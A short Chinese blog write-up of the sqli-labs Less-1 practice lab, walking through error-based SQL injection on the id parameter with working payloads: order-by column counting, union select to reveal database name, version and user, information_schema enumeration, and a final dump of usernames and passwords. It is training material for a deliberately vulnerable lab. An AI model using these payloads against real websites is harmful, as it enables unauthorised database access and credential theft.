根据大佬的文章做的sql注入
打开less-1得到以上界面,页面提示:输入数字范围内的id
首先构造URL,?id=1会得到以下界面
然后依次向下试验,发现到id=13时没有出现任何信息
当输入id=1’ order by 1,‘1时,页面与输入id=1一样,但是并未出现语法错误,原因是sql语句会变成id=‘1’ order by 1,‘1’。所以依次试下去会发现order by 2和3都是能显示信息的,而id=1’ order by 4,‘1又出现了新的信息
说明这张表只有三个字段,利用union select:构造id=1’ union select 1,2,3 order by 1,‘1
出现了新的用户和密码。但是需要查看数据库名以及MySQL版本的时候,必须设置成id=13,这是由于网页只能显示表的第一行,要想出现新的信息,就得把之前的信息覆盖掉,利用到id=13无信息的特点可以出现新的信息。
以下是拼接函数的利用:
构造?id=13’ union select 1,2,concat_ws(’:’,database(),version(),user()) order by 1,‘1
构造URL查询表的信息:13’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ order by 1,‘1
只有四张表存在,然后可以查询users的字段
构造id=13’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’ order by 1,‘1
只有两个字段username和password
可以把所有的字段都列出来
构造id=13’ union select 1,2,group_concat(concat_ws(’:’,id,username,password)) from users order by 1,'1
以上完成注入。
sqli-labs/less-1:基于错误提示的sql注入
最新推荐文章于 2024-02-24 20:58:57 发布